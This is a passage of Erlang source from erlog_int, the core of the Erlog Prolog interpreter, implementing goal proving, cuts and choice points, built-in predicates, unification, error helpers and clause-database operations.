cps/cuts %% until a cut the same label is reached and execution is resumed %% with that stack. Unless this is the last cut with a label a new %% cut is pushed on the stack. For efficiency some cps also act as %% cuts. %% %% It is possible to reuse cut labels for different markers as long %% the areas the cuts are valid don't overlap, though one may be %% contained within the other, and the cuts correctly indicate when %% they are the last cut. This is used for ->; and once/1 where we %% KNOW the last cut of the internal section. %% %% It would be better if the cut marker was the actual cps/cut stack %% to go back to but this would entail a more interactive %% body_instance. -module(erlog_int). %% Main interface. -export([new/2,prove_goal/2,fail/1]). %% Main execution functions. -export([prove_body/2]). -export([unify_prove_body/4,unify_prove_body/6]). %% Bindings, unification and dereferncing. -export([new_bindings/0,get_binding/2,add_binding/3,make_var_list/2]). -export([deref/2,deref_list/2,dderef/2,dderef_list/2,partial_list/2]). -export([unify/3,functor/1]). %% Creating term and body instances. -export([well_form_body/3,well_form_goal/4,term_instance/2]). %% Working with the database. -export([add_built_in/2,add_compiled_proc/4]). -export([asserta_clause/2,assertz_clause/2]). -export([retract_clause/3,abolish_clauses/2]). %% Error types. -export([erlog_error/1,erlog_error/2,type_error/2,type_error/3, instantiation_error/0,instantiation_error/1, permission_error/3,permission_error/4, existence_error/3,domain_error/3]). %%-compile(export_all). -import(lists, [map/2,foldl/3,foldr/3,mapfoldr/3]). -include("erlog_int.hrl"). %% main interface. %% new(DbModule, DbArg) -> {ok,State}. new(DbMod, DbArg) -> DbRef = DbMod:new(DbArg), %Initialise the database Db0 = #db{mod=DbMod,ref=DbRef,loc=[]}, Db1 = built_in_db(Db0), %Add these builtins Fs = ?PROLOG_FLAGS, St = #est{cps=[],bs=[],vn=0,db=Db1,fs=Fs}, {ok,St}. %% prove_goal(Goal, State) -> Succeed | Fail. %% This is the main entry point into the interpreter. Check that %% everything is consistent then prove the goal as a call. prove_goal(Goal0, St0) -> %% put(erlog_cut, orddict:new()), %% put(erlog_cps, orddict:new()), %% put(erlog_var, orddict:new()), %% Check term and build new instance of term with bindings. {Goal1,Bs,Vn} = initial_goal(Goal0), St1 = St0#est{cps=[],bs=Bs,vn=Vn}, %Update state prove_body([{call,Goal1}], St1). %% built_in_db(Database) -> Database. %% Create an initial clause database containing the built-in %% predicates and predefined library predicates. built_in_db(Db0) -> %% Add the Erlang built-ins. Db1 = foldl(fun (Head, Db) -> add_built_in(Head, Db) end, Db0, [ %% Logic and control. {call,1}, {',',2}, {'!',0}, {';',2}, {fail,0}, {false,0}, {'->',2}, {'\\+',1}, {once,1}, {repeat,0}, {true,0}, %% Clause creation and destruction. {abolish,1}, {assert,1}, {asserta,1}, {assertz,1}, {retract,1}, {retractall,1}, %% Clause retrieval and information. {clause,2}, {current_predicate,1}, {predicate_property,2}, %% process controll, {halt, 1}, %% All solutions {findall,3}, %% Prolog flags {current_prolog_flag,2}, {set_prolog_flag,2}, %% External interface {ecall,2}, %% Non-standard but useful {display,1} ]), Db1. -define(FAIL(St), begin (fun (#est{cps=Cps,bs=Bs,db=Db}) -> put(erlog_cps, orddict:update_counter(length(Cps), 1, get(erlog_cps))), put(erlog_var, orddict:update_counter(dict:size(Bs), 1, get(erlog_var))) end)(St), fail(St) end). -undef(FAIL). -define(FAIL(St), fail(St)). %% prove_goal(Goal, NextGoal, State) -> %% {succeed,State} | {fail,State}. %% Prove one goal. We seldom return succeed here but usually go directly to %% to NextGoal. %% Handle built-in predicates here. RTFM for a description of the %% built-ins. Hopefully we do the same. %% Logic and control. Conjunctions are handled in prove_body and true %% has been compiled away. prove_goal({call,G}, Next0, #est{cps=Cps,vn=Vn}=St0) -> %% Only add cut CP to Cps if goal contains a cut. Label = Vn, case check_goal(G, Next0, St0, false, Label) of {Next1,true} -> %% Must increment Vn to avoid clashes!!! Cut = #cut{label=Label}, St1 = St0#est{cps=[Cut|Cps],vn=Vn+1}, prove_body(Next1, St1); {Next1,false} -> St1 = St0#est{vn=Vn+1}, prove_body(Next1, St1) end; prove_goal({{cut},Label,Last}, Next, St) -> cut(Label, Last, Next, St); prove_goal({{disj},R}, Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> Cp = #cp{type=disjunction,next=R,bs=Bs,vn=Vn}, prove_body(Next, St#est{cps=[Cp|Cps]}); prove_goal(fail, _, St) -> ?FAIL(St); prove_goal(false, _, St) -> %Synonym of fail/0 ?FAIL(St); prove_goal({{if_then},Label}, Next, #est{cps=Cps}=St) -> %% We effetively implement ( C -> T ) with ( C, !, T ) but cuts in %% C are local to C. %% There is no ( C, !, T ) here, it has already been prepended to Next. %%io:fwrite("PG(->): ~p\n", [{Next}]), Cut = #cut{label=Label}, prove_body(Next, St#est{cps=[Cut|Cps]}); prove_goal({{if_then_else},Else,Label}, Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> %% Need to push a choicepoint to fail back to inside Cond and a cut %% to cut back to before Then when Cond succeeds. #cp{type=if_then_else} %% functions as both as is always removed whatever the outcome. %% There is no ( C, !, T ) here, it has already been prepended to Next. Cp = #cp{type=if_then_else,label=Label,next=Else,bs=Bs,vn=Vn}, %%io:fwrite("PG(->;): ~p\n", [{Next,Else,[Cp|Cps]}]), prove_body(Next, St#est{cps=[Cp|Cps]}); prove_goal({'\\+',G}, Next0, #est{cps=Cps,bs=Bs,vn=Vn}=St0) -> %% We effectively implementing \+ G with ( G -> fail ; true ). Label = Vn, {Next1,_} = check_goal(G, [{{cut},Label,true},fail], St0, true, Label), Cp = #cp{type=if_then_else,label=Label,next=Next0,bs=Bs,vn=Vn}, %%io:fwrite("PG(\\+): ~p\n", [{G1,[Cp|Cps]]), %% Must increment Vn to avoid clashes!!! St1 = St0#est{cps=[Cp|Cps],vn=Vn+1}, prove_body(Next1, St1); prove_goal({{once},Label}, Next, #est{cps=Cps}=St) -> %% We effetively implement once(G) with ( G, ! ) but cuts in %% G are local to G. %% There is no ( G, ! ) here, it has already been prepended to Next. Cut = #cut{label=Label}, prove_body(Next, St#est{cps=[Cut|Cps]}); prove_goal(repeat, Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> Cp = #cp{type=disjunction,next=[repeat|Next],bs=Bs,vn=Vn}, prove_body(Next, St#est{cps=[Cp|Cps]}); %% Clause creation and destruction. prove_goal({abolish,Pi0}, Next, #est{bs=Bs,db=Db0}=St) -> case dderef(Pi0, Bs) of {'/',N,A} when is_atom(N), is_integer(A), A > 0 -> Db1 = abolish_clauses({N,A}, Db0), prove_body(Next, St#est{db=Db1}); Pi -> type_error(predicate_indicator, Pi, St) end; prove_goal({assert,C0}, Next, #est{bs=Bs,db=Db0}=St) -> C = dderef(C0, Bs), Db1 = assertz_clause(C, Db0), prove_body(Next, St#est{db=Db1}); prove_goal({asserta,C0}, Next, #est{bs=Bs,db=Db0}=St) -> C = dderef(C0, Bs), Db1 = asserta_clause(C, Db0), prove_body(Next, St#est{db=Db1}); prove_goal({assertz,C0}, Next, #est{bs=Bs,db=Db0}=St) -> C = dderef(C0, Bs), Db1 = assertz_clause(C, Db0), prove_body(Next, St#est{db=Db1}); prove_goal({retract,C0}, Next, #est{bs=Bs}=St) -> C = dderef(C0, Bs), prove_retract(C, Next, St); %% Process controll prove_goal({halt,C0}, _Next, #est{bs=Bs}) -> C = dderef(C0, Bs), erlang:exit(self(), C); %% Clause retrieval and information prove_goal({clause,H0,B}, Next, #est{bs=Bs}=St) -> H1 = dderef(H0, Bs), prove_clause(H1, B, Next, St); prove_goal({current_predicate,Pi0}, Next, #est{bs=Bs}=St) -> Pi = dderef(Pi0, Bs), prove_current_predicate(Pi, Next, St); prove_goal({predicate_property,H0,P}, Next, #est{bs=Bs,db=Db}=St) -> H = dderef(H0, Bs), try get_procedure_type(functor(H), Db) of built_in -> unify_prove_body(P, built_in, Next, St); compiled -> unify_prove_body(P, compiled, Next, St); interpreted -> unify_prove_body(P, interpreted, Next, St); undefined -> ?FAIL(St) catch throw:{erlog_error,E} -> erlog_error(E, St) %Add state to error end; %% All solutions. prove_goal({findall,T,G,L}, Next, St) -> prove_findall(T, G, L, Next, St); prove_goal({{findall},T0}, _Next, #est{bs=Bs,db=Db0}=St) -> T1 = dderef(T0, Bs), [Loc|Locs] = Db0#db.loc, %Add it to the top local list Db1 = Db0#db{loc=[[T1|Loc]|Locs]}, ?FAIL(St#est{db=Db1}); %% Prolog flags. prove_goal({current_prolog_flag,F,V}, Next, St) -> prove_current_prolog_flag(F, V, Next, St); prove_goal({set_prolog_flag,F,V}, Next, St) -> prove_set_prolog_flag(F, V, Next, St); %% External interface. prove_goal({ecall,C0,Val}, Next, #est{bs=Bs}=St) -> %% Build the initial call. %%io:fwrite("PG(ecall): ~p\n ~p\n ~p\n", [dderef(C0, Bs),Next,Cps]), Efun = case dderef(C0, Bs) of {':',M,F} when is_atom(M), is_atom(F) -> fun () -> M:F() end; {':',M,{F,A}} when is_atom(M), is_atom(F) -> fun () -> M:F(A) end; {':',M,{F,A1,A2}} when is_atom(M), is_atom(F) -> fun () -> M:F(A1, A2) end; {':',M,T} when is_atom(M), ?IS_FUNCTOR(T) -> L = tuple_to_list(T), fun () -> apply(M, hd(L), tl(L)) end; Fun when is_function(Fun) -> Fun; Other -> type_error(callable, Other, St) end, prove_ecall(Efun, Val, Next, St); %% Non-standard but useful. prove_goal({display,T}, Next, #est{bs=Bs}=St) -> %% A very simple display procedure. io:fwrite("~p\n", [dderef(T, Bs)]), prove_body(Next, St); %% Now look up the database. prove_goal(G0, Next, #est{bs=Bs,db=Db}=St) -> G = dderef(G0, Bs), %%io:fwrite("PG: ~p\n ~p\n ~p\n", [dderef(G, Bs),Next,Cps]), try get_procedure(functor(G), Db) of built_in -> erlog_bips:prove_goal(G, Next, St); {code,{Mod,Func}} -> Mod:Func(G, Next, St); {clauses,Cs} -> prove_goal_clauses(G, Cs, Next, St); undefined -> case get_prolog_flag(unknown, St) of error -> %Throw error existence_error(procedure, pred_ind(functor(G)), St); _ -> %Fail or warning ?FAIL(St) end catch throw:{erlog_error,E} -> erlog_error(E, St) %Add state to error end. fail_disjunction(#cp{next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_body(Next, St#est{cps=Cps,bs=Bs,vn=Vn}). fail_if_then_else(#cp{next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_body(Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% fail(State) -> {fail,State}. %% cut(Label, Last, Next, State) -> void. %% %% The functions which manipulate the choice point stack. fail %% backtracks to next choicepoint skipping cut labels cut steps %% backwards over choice points until matching cut. fail(#est{cps=Cps}=St) -> fail(Cps, St). fail([#cp{type=goal_clauses}=Cp|Cps], St) -> fail_goal_clauses(Cp, Cps, St); fail([#cp{type=disjunction}=Cp|Cps], St) -> fail_disjunction(Cp, Cps, St); fail([#cp{type=if_then_else}=Cp|Cps], St) -> fail_if_then_else(Cp, Cps, St); fail([#cp{type=clause}=Cp|Cps], St) -> fail_clause(Cp, Cps, St); fail([#cp{type=retract}=Cp|Cps], St) -> fail_retract(Cp, Cps, St); fail([#cp{type=current_predicate}=Cp|Cps], St) -> fail_current_predicate(Cp, Cps, St); fail([#cp{type=findall}=Cp|Cps], St) -> fail_findall(Cp, Cps, St); fail([#cp{type=current_prolog_flag}=Cp|Cps], St) -> fail_current_prolog_flag(Cp, Cps, St); fail([#cp{type=ecall}=Cp|Cps], St) -> fail_ecall(Cp, Cps, St); fail([#cp{type=compiled,data=F}=Cp|Cps], St) -> F(Cp, Cps, St); fail([#cut{}|Cps], St) -> %Fail over cut points. fail(Cps, St); fail([], St) -> {fail,St}. cut(Label, Last, Next, #est{cps=Cps}=St) -> cut(Label, Last, Next, Cps, St). cut(Label, Last, Next, [#cut{label=Label}|Cps]=Cps0, St) -> if Last -> prove_body(Next, St#est{cps=Cps}); true -> prove_body(Next, St#est{cps=Cps0}) end; cut(Label, Last, Next, [#cp{type=if_then_else,label=Label}|Cps]=Cps0, St) -> if Last -> prove_body(Next, St#est{cps=Cps}); true -> prove_body(Next, St#est{cps=Cps0}) end; cut(Label, Last, Next, [#cp{type=goal_clauses,label=Label}=Cp|Cps], St) -> cut_goal_clauses(Last, Next, Cp, St#est{cps=Cps}); cut(Label, Last, Next, [_Cp|Cps], St) -> cut(Label, Last, Next, Cps, St). %% cut(Label, Last, Next, #est{cps=Cpd}=St) -> %% cut(Label, Last, Next, Cps, St, 1). %% cut(Label, Last, Next, [#cut{label=Label}|Cps]=Cps0, St, Cn) -> %% put(erlog_cut, orddict:update_counter(Cn, 1, get(erlog_cut))), %% if Last -> prove_body(Next, St#est{cps=Cps}); %% true -> prove_body(Next, St#est{cps=Cps0}) %% end; %% cut(Label, Last, Next, [#cp{type=if_then_else,label=Label}|Cps]=Cps0, St, Cn) -> %% put(erlog_cut, orddict:update_counter(Cn, 1, get(erlog_cut))), %% if Last -> prove_body(Next, St#est{cps=Cps}); %% true -> prove_body(Next, St#est{cps=Cps0}) %% end; %% cut(Label, Last, Next, [#cp{type=goal_clauses,label=Label}=Cp|Cps], St, Cn) -> %% put(erlog_cut, orddict:update_counter(Cn, 1, get(erlog_cut))), %% cut_goal_clauses(Last, Next, Cp, St#est{cps=Cps}); %% cut(Label, Last, Next, [_Cp|Cps], St, Cn) -> %% cut(Label, Last, Next, Cps, St, Cn+1). %% check_goal(Goal, Next, St, CutAfter, CutLabel) -> %% {WellFormedBody,HasCut}. %% Check to see that Goal is bound and ensure that it is well-formed. check_goal(G0, Next, #est{bs=Bs}=St, Cut, Label) -> case dderef(G0, Bs) of {_} -> instantiation_error(St); %Must have something to call G1 -> try well_form_goal(G1, Next, Cut, Label) catch throw:{erlog_error,E} -> erlog_error(E, St) %Add state to error end end. %% unify_prove_body(Term1, Term2, Next, State) -> %% void. %% Unify Term1 = Term2, on success prove body Next else fail. unify_prove_body(T1, T2, Next, #est{bs=Bs0}=St) -> case unify(T1, T2, Bs0) of {succeed,Bs1} -> prove_body(Next, St#est{bs=Bs1}); fail -> ?FAIL(St) end. %% unify_prove_body(A1, A2, B1, B2, Next, State) -> %% void. %% Unify A1 = A2, B1 = B2, on success prove body Next else fail. unify_prove_body(A1, A2, B1, B2, Next, #est{bs=Bs0}=St) -> case unify(A1, A2, Bs0) of {succeed,Bs1} -> unify_prove_body(B1, B2, Next, St#est{bs=Bs1}); fail -> ?FAIL(St) end. %% prove_clause(Head, Body, Next, State) -> %% void. %% Unify clauses matching with functor from Head with both Head and Body. prove_clause(H, B, Next, #est{db=Db}=St) -> Functor = functor(H), case get_procedure(Functor, Db) of {clauses,Cs} -> unify_clauses(H, B, Cs, Next, St); {code,_} -> permission_error(access, private_procedure, pred_ind(Functor), St); built_in -> permission_error(access, private_procedure, pred_ind(Functor), St); undefined -> ?FAIL(St) end. %% unify_clauses(Head, Body, Clauses, Next, State) -> %% void. %% Try to unify Head and Body using Clauses which all have the same functor. unify_clauses(Ch, Cb, [C], Next, #est{bs=Bs0,vn=Vn0}=St) -> %% No choice point on last clause. case unify_clause(Ch, Cb, C, Bs0, Vn0) of {succeed,Bs1,Vn1} -> prove_body(Next, St#est{bs=Bs1,vn=Vn1}); fail -> ?FAIL(St) end; unify_clauses(Ch, Cb, [C|Cs], Next, #est{bs=Bs0,vn=Vn0}=St) -> case unify_clause(Ch, Cb, C, Bs0, Vn0) of {succeed,Bs1,Vn1} -> Cp = #cp{type=clause,data={Ch,Cb,Cs},next=Next,bs=Bs0,vn=Vn1}, Cps = St#est.cps, prove_body(Next, St#est{cps=[Cp|Cps],bs=Bs1,vn=Vn1}); fail -> unify_clauses(Ch, Cb, Cs, Next, St) end; unify_clauses(_Ch, _Cb, [], _Next, St) -> ?FAIL(St). unify_clause(Ch, Cb, {_Tag,H0,{B0,_}}, Bs0, Vn0) -> {H1,Rs1,Vn1} = term_instance(H0, Vn0), %Unique vars on head first case unify(Ch, H1, Bs0) of {succeed,Bs1} -> {B1,_Rs2,Vn2} = body_term(B0, Rs1, Vn1), %Now we need the rest case unify(Cb, B1, Bs1) of {succeed,Bs2} -> {succeed,Bs2,Vn2}; fail -> fail end; fail -> fail end. fail_clause(#cp{data={Ch,Cb,Cs},next=Next,bs=Bs,vn=Vn}, Cps, St) -> unify_clauses(Ch, Cb, Cs, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% prove_current_predicate(PredInd, Next, State) -> %% void. %% Match functors of existing user (interpreted) predicate with PredInd. prove_current_predicate(Pi, Next, #est{db=Db}=St) -> case Pi of {'/',_,_} -> ok; {_} -> ok; Other -> type_error(predicate_indicator, Other, St) end, Fs = get_interp_functors(Db), prove_predicates(Pi, Fs, Next, St). prove_predicates(Pi, [F|Fs], Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> Cp = #cp{type=current_predicate,data={Pi,Fs},next=Next,bs=Bs,vn=Vn}, unify_prove_body(Pi, pred_ind(F), Next, St#est{cps=[Cp|Cps]}); prove_predicates(_Pi, [], _Next, St) -> ?FAIL(St). fail_current_predicate(#cp{data={Pi,Fs},next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_predicates(Pi, Fs, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% prove_goal_clauses(Goal, Clauses, Next, State) -> %% void. %% Try to prove Goal using Clauses which all have the same functor. prove_goal_clauses(G, [C], Next, #est{cps=Cps,vn=Vn}=St) -> %% Must be smart here and test whether we need to add a cut point. %% C has the structure {Tag,Head,{Body,BodyHasCut}}. case element(2, element(3, C)) of true -> Cut = #cut{label=Vn}, prove_goal_clause(G, C, Next, St#est{cps=[Cut|Cps]}); false -> prove_goal_clause(G, C, Next, St) end; %% prove_goal_clause(G, C, Next, Cps, Bs, Vn, Db); prove_goal_clauses(G, [C|Cs], Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> Cp = #cp{type=goal_clauses,label=Vn,data={G,Cs},next=Next,bs=Bs,vn=Vn}, prove_goal_clause(G, C, Next, St#est{cps=[Cp|Cps]}); prove_goal_clauses(_G, [], _Next, St) -> ?FAIL(St). prove_goal_clause(G, {_Tag,H0,{B0,_}}, Next, #est{bs=Bs0,vn=Vn0}=St) -> %% io:fwrite("PGC1: ~p\n", [{G,H0,B0}]), Label = Vn0, case unify_head(G, H0, Bs0, Vn0+1) of {succeed,Rs0,Bs1,Vn1} -> %% io:fwrite("PGC2: ~p\n", [{Rs0}]), {B1,_Rs2,Vn2} = body_instance(B0, Next, Rs0, Vn1, Label), %% io:fwrite("PGC3: ~p\n", [{B1,Next,Cps}]), prove_body(B1, St#est{bs=Bs1,vn=Vn2}); fail -> ?FAIL(St) end. fail_goal_clauses(#cp{data={G,Cs},next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_goal_clauses(G, Cs, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% cut_goal_clauses(Last, Next, Cp, St). cut_goal_clauses(true, Next, #cp{label=_}, St) -> %% Just remove the choice point completely and continue. prove_body(Next, St); cut_goal_clauses(false, Next, #cp{label=L}, #est{cps=Cps}=St) -> %% Replace choice point with cut point then continue. Cut = #cut{label=L}, prove_body(Next, St#est{cps=[Cut|Cps]}). %% prove_retract(Clause, Next, State) -> %% void. %% Retract clauses in database matching Clause. prove_retract({':-',H,B}, Next, St) -> prove_retract(H, B, Next, St); prove_retract(H, Next, St) -> prove_retract(H, true, Next, St). prove_retract(H, B, Next, #est{db=Db}=St) -> Functor = functor(H), case get_procedure(Functor, Db) of {clauses,Cs} -> retract_clauses(H, B, Cs, Next, St); {code,_} -> permission_error(modify, static_procedure, pred_ind(Functor), St); built_in -> permission_error(modify, static_procedure, pred_ind(Functor), St); undefined -> ?FAIL(St) end. %% retract_clauses(Head, Body, Clauses, Next, State) -> %% void. %% Try to retract Head and Body using Clauses which all have the same functor. retract_clauses(Ch, Cb, [C|Cs], Next, #est{cps=Cps,bs=Bs0,vn=Vn0,db=Db0}=St) -> case unify_clause(Ch, Cb, C, Bs0, Vn0) of {succeed,Bs1,Vn1} -> %% We have found a right clause so now retract it. Db1 = retract_clause(functor(Ch), element(1, C), Db0), Cp = #cp{type=retract,data={Ch,Cb,Cs},next=Next,bs=Bs0,vn=Vn0}, prove_body(Next, St#est{cps=[Cp|Cps],bs=Bs1,vn=Vn1,db=Db1}); fail -> retract_clauses(Ch, Cb, Cs, Next, St) end; retract_clauses(_Ch, _Cb, [], _Next, St) -> ?FAIL(St). fail_retract(#cp{data={Ch,Cb,Cs},next=Next,bs=Bs,vn=Vn}, Cps, St) -> retract_clauses(Ch, Cb, Cs, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% prove_findall(Term, Goal, List, Next, State) -> %% void. %% Do findall on Goal and return list of each Term in List. We keep a %% list of lists of local values in the database structure and for %% each findall we push a new list for that findall and pop it when %% we are done. This allows nested findalls. Each {findall} adds its %% value to the top list. Then when findall finally fails we catch it %% in fail_findall which cleans up by removing the top list and %% unifying it with the output list value. prove_findall(T, G, L0, Next, #est{cps=Cps,bs=Bs,vn=Vn,db=Db0}=St) -> L1 = partial_list(L0, Bs), %Check for partial list Label = Vn, {Body,_} = check_goal(G, [{{findall},T}], St, false, Label), Cp = #cp{type=findall,data=L1,next=Next,bs=Bs,vn=Vn}, Locs = Db0#db.loc, %Add a new local list Db1 = Db0#db{loc=[[]|Locs]}, %% Db1 = Db0#db{loc=[[]|Db0#db.loc]]}, %% Catch case where an erlog error occurs and cleanup local lists. try prove_body(Body, St#est{cps=[Cp|Cps],vn=Vn+1,db=Db1}) catch throw:{erlog_error,E,#est{db=Dba}=Sta} -> case Dba#db.loc of %Pop the local list [_|Locsa] -> Dbb = Dba#db{loc=Locsa}, %% Dbb = Dba#db{loc=tl(Db#db.loc)}, erlog_error(E, Sta#est{db=Dbb}); _ -> erlog_error(E, Sta) end end. fail_findall(#cp{next=Next,data=List,bs=Bs,vn=Vn0}, Cps, #est{db=Db0}=St) -> [Loc0|Locs] = Db0#db.loc, Db1 = Db0#db{loc=Locs}, {Loc1,Vn1} = findall_list(Loc0, Vn0, Bs, []), %% Make sure to drop all new bindings and revert to old bindings. unify_prove_body(List, Loc1, Next, St#est{cps=Cps,bs=Bs,vn=Vn1,db=Db1}). findall_list([X0|Xs], Vn0, Bs, Acc) -> {X1,_,Vn1} = term_instance(dderef(X0, Bs), Vn0), findall_list(Xs, Vn1, Bs, [X1|Acc]); findall_list([], Vn, _, Acc) -> {Acc,Vn}. %% prove_current_prolog_flag(Flag, Value, Next, State) -> %% void. %% prove_set_prolog_flag(Flag, Value, Next, State) -> %% void. prove_current_prolog_flag(F, V, Next, #est{fs=Fs}=St) -> prove_prolog_flags(F, V, Fs, Next, St). prove_prolog_flags(F, V, [{Pf,Pv,_}|Fs], Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> Cp = #cp{type=current_prolog_flag,data={F,V,Fs},next=Next,bs=Bs,vn=Vn}, unify_prove_body(F, Pf, V, Pv, Next, St#est{cps=[Cp|Cps]}); prove_prolog_flags(_F, _V, [], _Next, St) -> ?FAIL(St). fail_current_prolog_flag(#cp{data={F,V,Fs},next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_prolog_flags(F, V, Fs, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). prove_set_prolog_flag(F, V, Next, #est{bs=Bs,fs=Fs}=St) -> prove_set_prolog_flag(deref(F, Bs), deref(V, Bs), Next, Fs, St). prove_set_prolog_flag({_}, _V, _Next, _Fs, St) -> instantiation_error(St); prove_set_prolog_flag(_F, {_}, _Next, _Fs, St) -> instantiation_error(St); prove_set_prolog_flag(F, V, Next, Fs, St) -> case lists:keyfind(F, 1, Fs) of {_,_,Pvs} when Pvs =/= none -> %Settable flag prove_set_prolog_flag(F, V, Pvs, Next, Fs, St); _ -> domain_error(prolog_flag, F, St) end. prove_set_prolog_flag(F, V, Pvs, Next, Fs0, St) -> case lists:member(V, Pvs) of %Valid value true -> Fs1 = lists:keyreplace(F, 1, Fs0, {F,V,Pvs}), prove_body(Next, St#est{fs=Fs1}); false -> domain_error(flag_value, {'+',F,V}, St) end. get_prolog_flag(F, #est{fs=Fs}) -> %We should know the flags {_,V,_} = lists:keyfind(F, 1, Fs), V. %% prove_ecall(Generator, Value, Next, St) -> %% void. %% Call an external (Erlang) generator and handle return value, %% either succeed or fail. prove_ecall(Efun, Val, Next, #est{cps=Cps,bs=Bs,vn=Vn}=St) -> case Efun() of {succeed,Ret,Cont} -> %Succeed and more choices Cp = #cp{type=ecall,data={Cont,Val},next=Next,bs=Bs,vn=Vn}, unify_prove_body(Val, Ret, Next, St#est{cps=[Cp|Cps]}); {succeed_last,Ret} -> %Succeed but last choice unify_prove_body(Val, Ret, Next, St); fail -> ?FAIL(St) %No more end. fail_ecall(#cp{data={Efun,Val},next=Next,bs=Bs,vn=Vn}, Cps, St) -> prove_ecall(Efun, Val, Next, St#est{cps=Cps,bs=Bs,vn=Vn}). %% prove_body(Body, State) -> {succeed,State}. %% Prove the goals in a body. Remove the first goal and try to prove %% it. Return when there are no more goals. This is how proving a %% goal/body succeeds. prove_body([G|Gs], St) -> %%io:fwrite("PB: ~p\n", [{G,Gs,St#est.cps}]), prove_goal(G, Gs, St); prove_body([], St) -> %No more body %%io:fwrite("Cps: ~p\nCut: ~p\nVar: ~p\nVar: ~p\n", %% [get(erlog_cps),get(erlog_cut),get(erlog_var),dict:size(Bs)]), %%io:fwrite("PB: ~p\n", [Cps]), {succeed,St}. %% unify(Term, Term, Bindings) -> {succeed,NewBindings} | fail. %% Unify two terms with a set of bindings. unify(T10, T20, Bs0) -> case {deref(T10, Bs0),deref(T20, Bs0)} of {T1,T2} when ?IS_CONSTANT(T1), T1 == T2 -> {succeed,Bs0}; {{V},{V}} -> {succeed,Bs0}; {{_}=Var,T2} -> {succeed,add_binding(Var, T2, Bs0)}; {T1,{_}=Var} -> {succeed,add_binding(Var, T1, Bs0)}; {[H1|T1],[H2|T2]} -> case unify(H1, H2, Bs0) of {succeed,Bs1} -> unify(T1, T2, Bs1); fail -> fail end; {[],[]} -> {succeed,Bs0}; {T1,T2} when tuple_size(T1) == tuple_size(T2), element(1, T1) == element(1, T2) -> unify_args(T1, T2, Bs0, 2, tuple_size(T1)); _Other -> fail end. unify_args(_, _, Bs, I, S) when I > S -> {succeed,Bs}; unify_args(S1, S2, Bs0, I, S) -> case unify(element(I, S1), element(I, S2), Bs0) of {succeed,Bs1} -> unify_args(S1, S2, Bs1, I+1, S); fail -> fail end. %% make_var_list(Count, VarNum) -> [Var]. %% Make a list of new variables starting at VarNum. make_var_list(0, _) -> []; make_var_list(I, Vn) -> [{Vn}|make_var_list(I-1, Vn+1)]. %% Errors %% To keep dialyzer quiet. -spec type_error(_, _) -> no_return(). -spec type_error(_, _, _) -> no_return(). -spec instantiation_error() -> no_return(). -spec instantiation_error(_) -> no_return(). -spec permission_error(_, _, _) -> no_return(). -spec permission_error(_, _, _, _) -> no_return(). -spec existence_error(_, _, _) -> no_return(). -spec domain_error(_, _, _) -> no_return(). -spec erlog_error(_) -> no_return(). -spec erlog_error(_, _) -> no_return(). type_error(Type, Value) -> erlog_error({type_error,Type,Value}). type_error(Type, Value, St) -> erlog_error({type_error,Type,Value}, St). instantiation_error() -> erlog_error(instantiation_error). instantiation_error(St) -> erlog_error(instantiation_error, St). permission_error(Op, Type, Value) -> erlog_error({permission_error,Op,Type,Value}). permission_error(Op, Type, Value, St) -> erlog_error({permission_error,Op,Type,Value}, St). existence_error(Type, PI, St) -> erlog_error({existence_error,Type,PI}, St). domain_error(Domain, Value, St) -> erlog_error({domain_error,Domain,Value}, St). erlog_error(E) -> throw({erlog_error,E}). erlog_error(E, St) -> throw({erlog_error,E,St}). %% Database %% The database is a dict where the key is the functor pair {Name,Arity}. %% The value is: built_in | %% {clauses,NextTag,[{Tag,Head,Body}]} | %% {code,{Module,Function}}. %% Built-ins are defined by the system and cannot manipulated by user %% code. %% We are a little paranoid here and do our best to ensure consistency %% in the database by checking input arguments even if we know they %% come from "good" code. %% add_built_in(Functor, Database) -> NewDatabase. %% Add Functor as a built-in in the database. add_built_in(Functor, #db{mod=Dm,ref=Dr0}=Db) -> Dr1 = Dm:add_built_in(Dr0, Functor), Db#db{ref=Dr1}. %% add_compiled_proc(Functor, Module, Function, Database) -> NewDatabase. %% Add Functor as a compiled procedure with code in %% Module:Function. No checking. add_compiled_proc(Functor, M, F, #db{mod=Dm,ref=Dr0}=Db) -> case Dm:add_compiled_proc(Dr0, Functor, M, F) of {ok,Dr1} -> Db#db{ref=Dr1}; error -> permission_error(modify, static_procedure, pred_ind(Functor)) end. %% asserta_clause(Clause, Database) -> NewDatabase. %% assertz_clause(Clause, Database) -> NewDatabase. %% Assert a clause into the database first checking that it is well %% formed. asserta_clause({':-',H,B}, Db) -> asserta_clause(H, B, Db); asserta_clause(H, Db) -> asserta_clause(H, true, Db). asserta_clause(Head, B, #db{mod=Dm,ref=Dr0}=Db) -> {Functor,Body} = well_formed_clause(Head, B, Db), case Dm:asserta_clause(Dr0, Functor, Head, Body) of {ok,Dr1} -> Db#db{ref=Dr1}; error -> permission_error(modify, static_procedure, pred_ind(Functor)) end. assertz_clause({':-',H,B}, Db) -> assertz_clause(H, B, Db); assertz_clause(H, Db) -> assertz_clause(H, true, Db). assertz_clause(Head, B, #db{mod=Dm,ref=Dr0}=Db) -> {Functor,Body} = well_formed_clause(Head, B, Db), case Dm:assertz_clause(Dr0, Functor, Head, Body) of {ok,Dr1} -> Db#db{ref=Dr1}; error -> permission_error(modify, static_procedure, pred_ind(Functor)) end. well_formed_clause(Head, Body, _Db) -> %% No need to catch error as we can't add state to it. {functor(Head),well_form_body(Body, false, sture)}. %% retract_clause(Functor, ClauseTag, Database) -> NewDatabase. %% Retract (remove) the clause with tag ClauseTag from the list of %% clauses of Functor. retract_clause(Functor, Ct, #db{mod=Dm,ref=Dr0}=Db) -> case 